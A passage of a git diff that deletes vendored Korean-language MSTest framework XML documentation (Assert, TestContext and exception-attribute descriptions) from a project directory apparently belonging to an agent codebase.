가져옵니다. - - - - - 테스트 실행을 위해 배포되는 파일의 디렉터리를 가져옵니다. 일반적으로 의 하위 디렉터리입니다. - - - - - 테스트 실행의 결과에 대한 기본 디렉터리를 가져옵니다. 일반적으로 의 하위 디렉터리입니다. - - - - - 테스트 실행 결과 파일의 디렉터리를 가져옵니다. 일반적으로 의 하위 디렉터리입니다. - - - - - 테스트 결과 파일의 디렉터리를 가져옵니다. - - - - - 배포된 파일 및 결과 파일이 저장되는, 테스트 실행에 대한 기본 디렉터리를 가져옵니다. - 과(와) 같습니다. 해당 속성을 대신 사용하세요. - - - - - 테스트 실행에 대해 배포되는 파일의 디렉터리를 가져옵니다. 일반적으로 의 하위 디렉터리입니다. - 과(와) 같습니다. 해당 속성을 대신 사용하세요. - - - - - 테스트 실행 결과 파일의 디렉터리를 가져옵니다. 일반적으로 의 하위 디렉터리입니다. - 과(와) 같습니다. 테스트 실행 결과 파일의 해당 속성 또는 테스트 관련 결과 파일의 - 을(를) 대신 사용하세요. - - - - - 현재 실행 중인 테스트 메서드를 포함하는 클래스의 정규화된 이름을 가져옵니다. - - - - - 현재 실행 중인 테스트 메서드의 이름을 가져옵니다. - - - - - 현재 테스트 결과를 가져옵니다. - - - - - 테스트 실행 중에 추적 메시지를 쓰는 데 사용됩니다. - - 형식이 지정된 메시지 문자열 - - - - 테스트 실행 중에 추적 메시지를 쓰는 데 사용됩니다. - - 서식 문자열 - 인수 - - - - TestResult.ResultFileNames의 목록에 파일 이름을 추가합니다. - - - 파일 이름. - - - - - 지정된 이름으로 타이머를 시작합니다. - - 타이머의 이름입니다. - - - - 지정된 이름의 타이머를 종료합니다. - - 타이머의 이름입니다. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/ko/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/ko/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 22e769ac..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/ko/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - 실행을 위한 TestMethod입니다. - - - - - 테스트 메서드의 이름을 가져옵니다. - - - - - 테스트 클래스의 이름을 가져옵니다. - - - - - 테스트 메서드의 반환 형식을 가져옵니다. - - - - - 테스트 메서드의 매개 변수를 가져옵니다. - - - - - 테스트 메서드에 대한 methodInfo를 가져옵니다. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - 테스트 메서드를 호출합니다. - - - 테스트 메서드에 전달할 인수(예: 데이터 기반의 경우) - - - 테스트 메서드 호출의 결과. - - - This call handles asynchronous test methods as well. - - - - - 테스트 메서드의 모든 특성을 가져옵니다. - - - 부모 클래스에 정의된 특성이 올바른지 여부입니다. - - - 모든 특성. - - - - - 특정 형식의 특성을 가져옵니다. - - System.Attribute type. - - 부모 클래스에 정의된 특성이 올바른지 여부입니다. - - - 지정한 형식의 특성입니다. - - - - - 도우미입니다. - - - - - 검사 매개 변수가 Null이 아닙니다. - - - 매개 변수. - - - 매개 변수 이름. - - - 메시지. - - Throws argument null exception when parameter is null. - - - - 검사 매개 변수가 Null이 아니거나 비어 있습니다. - - - 매개 변수. - - - 매개 변수 이름. - - - 메시지. - - Throws ArgumentException when parameter is null. - - - - 데이터 기반 테스트에서 데이터 행에 액세스하는 방법에 대한 열거형입니다. - - - - - 행이 순차적인 순서로 반환됩니다. - - - - - 행이 임의의 순서로 반환됩니다. - - - - - 테스트 메서드에 대한 인라인 데이터를 정의하는 특성입니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - 데이터 개체. - - - - 인수 배열을 사용하는 클래스의 새 인스턴스를 초기화합니다. - - 데이터 개체. - 추가 데이터. - - - - 테스트 메서드 호출을 위한 데이터를 가져옵니다. - - - - - 사용자 지정을 위한 테스트 결과에서 표시 이름을 가져오거나 설정합니다. - - - - - 어설션 불확실 예외입니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - 메시지. - 예외. - - - - 클래스의 새 인스턴스를 초기화합니다. - - 메시지. - - - - 클래스의 새 인스턴스를 초기화합니다. - - - - - InternalTestFailureException 클래스. 테스트 사례에 대한 내부 실패를 나타내는 데 사용됩니다. - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - 예외 메시지. - 예외. - - - - 클래스의 새 인스턴스를 초기화합니다. - - 예외 메시지. - - - - 클래스의 새 인스턴스를 초기화합니다. - - - - - 지정된 형식의 예외를 예상하도록 지정하는 특성 - - - - - 예상 형식이 있는 클래스의 새 인스턴스를 초기화합니다. - - 예상되는 예외의 형식 - - - - 테스트에서 예외를 throw하지 않을 때 포함할 메시지 및 예상 형식이 있는 클래스의 - 새 인스턴스를 초기화합니다. - - 예상되는 예외의 형식 - - 예외를 throw하지 않아 테스트가 실패할 경우 테스트 결과에 포함할 메시지 - - - - - 예상되는 예외의 형식을 나타내는 값을 가져옵니다. - - - - - 예상 예외의 형식에서 파생된 형식이 예상대로 자격을 얻도록 허용할지 여부를 나타내는 값을 가져오거나 - 설정합니다. - - - - - 예외를 throw하지 않아 테스트에 실패하는 경우 테스트 결과에 포함할 메시지를 가져옵니다. - - - - - 단위 테스트에 의해 throw되는 예외의 형식이 예상되는지를 확인합니다. - - 단위 테스트에서 throw한 예외 - - - - 단위 테스트에서 예외를 예상하도록 지정하는 특성에 대한 기본 클래스 - - - - - 기본 예외 없음 메시지가 있는 클래스의 새 인스턴스를 초기화합니다. - - - - - 예외 없음 메시지가 있는 클래스의 새 인스턴스를 초기화합니다. - - - 예외를 throw하지 않아서 테스트가 실패할 경우 테스트 결과에 포함할 - 메시지 - - - - - 예외를 throw하지 않아 테스트에 실패하는 경우 테스트 결과에 포함할 메시지를 가져옵니다. - - - - - 예외를 throw하지 않아 테스트에 실패하는 경우 테스트 결과에 포함할 메시지를 가져옵니다. - - - - - 기본 예외 없음 메시지를 가져옵니다. - - ExpectedException 특성 형식 이름 - 기본 예외 없음 메시지 - - - - 예외가 예상되는지 여부를 확인합니다. 메서드가 반환되면 예외가 - 예상되는 것으로 이해됩니다. 메서드가 예외를 throw하면 예외가 - 예상되지 않는 것으로 이해되고, throw된 예외의 메시지가 - 테스트 결과에 포함됩니다. 클래스는 편의를 위해 사용될 수 - 있습니다. 이(가) 사용되는 경우 어설션에 실패하며, - 테스트 결과가 [결과 불충분]으로 설정됩니다. - - 단위 테스트에서 throw한 예외 - - - - AssertFailedException 또는 AssertInconclusiveException인 경우 예외를 다시 throw합니다. - - 어설션 예외인 경우 예외를 다시 throw - - - - 이 클래스는 제네릭 형식을 사용하는 형식에 대한 사용자의 유닛 테스트를 지원하도록 설계되었습니다. - GenericParameterHelper는 몇 가지 공통된 제네릭 형식 제약 조건을 충족합니다. - 예: - 1. public 기본 생성자 - 2. 공통 인터페이스 구현: IComparable, IEnumerable - - - - - C# 제네릭의 '새로 입력할 수 있는' 제약 조건을 충족하는 클래스의 - 새 인스턴스를 초기화합니다. - - - This constructor initializes the Data property to a random value. - - - - - 데이터 속성을 사용자가 제공한 값으로 초기화하는 클래스의 - 새 인스턴스를 초기화합니다. - - 임의의 정수 값 - - - - 데이터를 가져오거나 설정합니다. - - - - - 두 GenericParameterHelper 개체의 값을 비교합니다. - - 비교할 개체 - 개체의 값이 '이' GenericParameterHelper 개체와 동일한 경우에는 true이고, - 동일하지 않은 경우에는 false입니다. - - - - 이 개체의 해시 코드를 반환합니다. - - 해시 코드입니다. - - - - 두 개체의 데이터를 비교합니다. - - 비교할 개체입니다. - - 이 인스턴스 및 값의 상대 값을 나타내는 부호 있는 숫자입니다. - - - Thrown when the object passed in is not an instance of . - - - - - 길이가 데이터 속성에서 파생된 IEnumerator 개체를 - 반환합니다. - - IEnumerator 개체 - - - - 현재 개체와 동일한 GenericParameterHelper 개체를 - 반환합니다. - - 복제된 개체입니다. - - - - 사용자가 진단을 위해 단위 테스트에서 추적을 로그하거나 쓸 수 있습니다. - - - - - LogMessage용 처리기입니다. - - 로깅할 메시지. - - - - 수신할 이벤트입니다. 단위 테스트 기록기에서 메시지를 기록할 때 발생합니다. - 주로 어댑터에서 사용합니다. - - - - - 메시지를 로그하기 위해 테스트 작성자가 호출하는 API입니다. - - 자리 표시자가 있는 문자열 형식. - 자리 표시자에 대한 매개 변수. - - - - TestCategory 특성 - 단위 테스트의 범주 지정에 사용됩니다. - - - - - 클래스의 새 인스턴스를 초기화하고 범주를 테스트에 적용합니다. - - - 테스트 범주. - - - - - 테스트에 적용된 테스트 범주를 가져옵니다. - - - - - "Category" 특성을 위한 기본 클래스 - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - 클래스의 새 인스턴스를 초기화합니다. - 범주를 테스트에 적용합니다. TestCategories에 의해 반환된 문자열은 - 테스트 필터링을 위한 /category 명령과 함께 사용됩니다. - - - - - 테스트에 적용된 테스트 범주를 가져옵니다. - - - - - AssertFailedException 클래스 - 테스트 사례에 대한 실패를 나타내는 데 사용됩니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - 메시지. - 예외. - - - - 클래스의 새 인스턴스를 초기화합니다. - - 메시지. - - - - 클래스의 새 인스턴스를 초기화합니다. - - - - - 단위 테스트 내에서 다양한 조건을 테스트하기 위한 도우미 - 클래스의 컬렉션입니다. 테스트 중인 조건이 충족되지 않으면 예외가 - throw됩니다. - - - - - Assert 기능의 singleton 인스턴스를 가져옵니다. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 지정된 조건이 true인지를 테스트하고 조건이 false이면 예외를 - throw합니다. - - - 테스트가 참일 것으로 예상하는 조건. - - - Thrown if is false. - - - - - 지정된 조건이 true인지를 테스트하고 조건이 false이면 예외를 - throw합니다. - - - 테스트가 참일 것으로 예상하는 조건. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 거짓인 경우. 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is false. - - - - - 지정된 조건이 true인지를 테스트하고 조건이 false이면 예외를 - throw합니다. - - - 테스트가 참일 것으로 예상하는 조건. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 거짓인 경우. 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is false. - - - - - 지정된 조건이 false인지를 테스트하고 조건이 true이면 예외를 - throw합니다. - - - 테스트가 거짓일 것으로 예상하는 조건. - - - Thrown if is true. - - - - - 지정된 조건이 false인지를 테스트하고 조건이 true이면 예외를 - throw합니다. - - - 테스트가 거짓일 것으로 예상하는 조건. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 참인 경우. 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is true. - - - - - 지정된 조건이 false인지를 테스트하고 조건이 true이면 예외를 - throw합니다. - - - 테스트가 거짓일 것으로 예상하는 조건. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 참인 경우. 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is true. - - - - - 지정된 개체가 Null인지를 테스트하고, Null이 아니면 예외를 - throw합니다. - - - 테스트가 null일 것으로 예상하는 개체. - - - Thrown if is not null. - - - - - 지정된 개체가 Null인지를 테스트하고, Null이 아니면 예외를 - throw합니다. - - - 테스트가 null일 것으로 예상하는 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) null이 아닌 경우. 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is not null. - - - - - 지정된 개체가 Null인지를 테스트하고, Null이 아니면 예외를 - throw합니다. - - - 테스트가 null일 것으로 예상하는 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) null이 아닌 경우. 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not null. - - - - - 지정된 개체가 Null이 아닌지를 테스트하고, Null이면 예외를 - throw합니다. - - - 테스트가 null이 아닐 것으로 예상하는 개체. - - - Thrown if is null. - - - - - 지정된 개체가 Null이 아닌지를 테스트하고, Null이면 예외를 - throw합니다. - - - 테스트가 null이 아닐 것으로 예상하는 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) null인 경우. 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is null. - - - - - 지정된 개체가 Null이 아닌지를 테스트하고, Null이면 예외를 - throw합니다. - - - 테스트가 null이 아닐 것으로 예상하는 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) null인 경우. 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is null. - - - - - 지정된 두 개체가 동일한 개체를 참조하는지를 테스트하고, 두 입력이 - 동일한 개체를 참조하지 않으면 예외를 throw합니다. - - - 비교할 첫 번째 개체. 테스트가 예상하는 값입니다. - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 값입니다. - - - Thrown if does not refer to the same object - as . - - - - - 지정된 두 개체가 동일한 개체를 참조하는지를 테스트하고, 두 입력이 - 동일한 개체를 참조하지 않으면 예외를 throw합니다. - - - 비교할 첫 번째 개체. 테스트가 예상하는 값입니다. - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - Thrown if does not refer to the same object - as . - - - - - 지정된 두 개체가 동일한 개체를 참조하는지를 테스트하고, 두 입력이 - 동일한 개체를 참조하지 않으면 예외를 throw합니다. - - - 비교할 첫 번째 개체. 테스트가 예상하는 값입니다. - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if does not refer to the same object - as . - - - - - 지정된 개체가 서로 다른 개체를 참조하는지를 테스트하고, 두 입력이 - 동일한 개체를 참조하면 예외를 throw합니다. - - - 비교할 첫 번째 개체. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 값입니다. - - - Thrown if refers to the same object - as . - - - - - 지정된 개체가 서로 다른 개체를 참조하는지를 테스트하고, 두 입력이 - 동일한 개체를 참조하면 예외를 throw합니다. - - - 비교할 첫 번째 개체. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 동일한 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if refers to the same object - as . - - - - - 지정된 개체가 서로 다른 개체를 참조하는지를 테스트하고, 두 입력이 - 동일한 개체를 참조하면 예외를 throw합니다. - - - 비교할 첫 번째 개체. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 동일한 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if refers to the same object - as . - - - - - 지정된 값이 같은지를 테스트하고, 두 값이 같지 않으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - The type of values to compare. - - - 비교할 첫 번째 값. 테스트가 예상하는 값입니다. - - - 비교할 두 번째 값. 테스트 중인 코드에 의해 생성된 값입니다. - - - Thrown if is not equal to . - - - - - 지정된 값이 같은지를 테스트하고, 두 값이 같지 않으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - The type of values to compare. - - - 비교할 첫 번째 값. 테스트가 예상하는 값입니다. - - - 비교할 두 번째 값. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not equal to - . - - - - - 지정된 값이 같은지를 테스트하고, 두 값이 같지 않으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - The type of values to compare. - - - 비교할 첫 번째 값. 테스트가 예상하는 값입니다. - - - 비교할 두 번째 값. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to - . - - - - - 지정된 값이 다른지를 테스트하고, 두 값이 같으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - The type of values to compare. - - - 비교할 첫 번째 값. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 값. 테스트 중인 코드에 의해 생성된 값입니다. - - - Thrown if is equal to . - - - - - 지정된 값이 다른지를 테스트하고, 두 값이 같으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - The type of values to compare. - - - 비교할 첫 번째 값. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 값. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 값이 다른지를 테스트하고, 두 값이 같으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - The type of values to compare. - - - 비교할 첫 번째 값. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 값. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 개체가 같은지를 테스트하고, 두 개체가 같지 않으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - 비교할 첫 번째 개체. 테스트가 예상하는 개체입니다. - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 개체입니다. - - - Thrown if is not equal to - . - - - - - 지정된 개체가 같은지를 테스트하고, 두 개체가 같지 않으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - 비교할 첫 번째 개체. 테스트가 예상하는 개체입니다. - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 개체입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not equal to - . - - - - - 지정된 개체가 같은지를 테스트하고, 두 개체가 같지 않으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - 비교할 첫 번째 개체. 테스트가 예상하는 개체입니다. - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 개체입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to - . - - - - - 지정된 개체가 다른지를 테스트하고, 두 개체가 같으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - 비교할 첫 번째 개체. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 개체입니다. - - - Thrown if is equal to . - - - - - 지정된 개체가 다른지를 테스트하고, 두 개체가 같으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - 비교할 첫 번째 개체. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 개체입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 개체가 다른지를 테스트하고, 두 개체가 같으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - 비교할 첫 번째 개체. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 개체입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 부동이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 부동. 테스트가 예상하는 부동입니다. - - - 비교할 두 번째 부동. 테스트 중인 코드에 의해 생성된 부동입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음보다 큰 경우: . - - - Thrown if is not equal to - . - - - - - 지정된 부동이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 부동. 테스트가 예상하는 부동입니다. - - - 비교할 두 번째 부동. 테스트 중인 코드에 의해 생성된 부동입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음보다 큰 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 과(와)의 차이가 다음보다 큰 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is not equal to - . - - - - - 지정된 부동이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 부동. 테스트가 예상하는 부동입니다. - - - 비교할 두 번째 부동. 테스트 중인 코드에 의해 생성된 부동입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음보다 큰 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 과(와)의 차이가 다음보다 큰 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to - . - - - - - 지정된 부동이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 부동. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 부동: . - - - 비교할 두 번째 부동. 테스트 중인 코드에 의해 생성된 부동입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음을 넘지 않는 경우: . - - - Thrown if is equal to . - - - - - 지정된 부동이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 부동. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 부동: . - - - 비교할 두 번째 부동. 테스트 중인 코드에 의해 생성된 부동입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음을 넘지 않는 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: 또는 그 차이가 다음 미만인 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 부동이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 부동. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 부동: . - - - 비교할 두 번째 부동. 테스트 중인 코드에 의해 생성된 부동입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음을 넘지 않는 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: 또는 그 차이가 다음 미만인 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 double이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 double. 테스트가 예상하는 double입니다. - - - 비교할 두 번째 double. 테스트 중인 코드에 의해 생성된 double입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음보다 큰 경우: . - - - Thrown if is not equal to - . - - - - - 지정된 double이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 double. 테스트가 예상하는 double입니다. - - - 비교할 두 번째 double. 테스트 중인 코드에 의해 생성된 double입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음보다 큰 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 과(와)의 차이가 다음보다 큰 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is not equal to . - - - - - 지정된 double이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 double. 테스트가 예상하는 double입니다. - - - 비교할 두 번째 double. 테스트 중인 코드에 의해 생성된 double입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음보다 큰 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 과(와)의 차이가 다음보다 큰 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to . - - - - - 지정된 double이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 double. 테스트가 다음과 일치하지 않을 것으로 예상하는 - double: . - - - 비교할 두 번째 double. 테스트 중인 코드에 의해 생성된 double입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음을 넘지 않는 경우: . - - - Thrown if is equal to . - - - - - 지정된 double이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 double. 테스트가 다음과 일치하지 않을 것으로 예상하는 - double: . - - - 비교할 두 번째 double. 테스트 중인 코드에 의해 생성된 double입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음을 넘지 않는 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: 또는 그 차이가 다음 미만인 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 double이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 double. 테스트가 다음과 일치하지 않을 것으로 예상하는 - double: . - - - 비교할 두 번째 double. 테스트 중인 코드에 의해 생성된 double입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음을 넘지 않는 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: 또는 그 차이가 다음 미만인 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 문자열이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. 비교에는 고정 문화권이 사용됩니다. - - - 비교할 첫 번째 문자열. 테스트가 예상하는 문자열입니다. - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - Thrown if is not equal to . - - - - - 지정된 문자열이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. 비교에는 고정 문화권이 사용됩니다. - - - 비교할 첫 번째 문자열. 테스트가 예상하는 문자열입니다. - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not equal to . 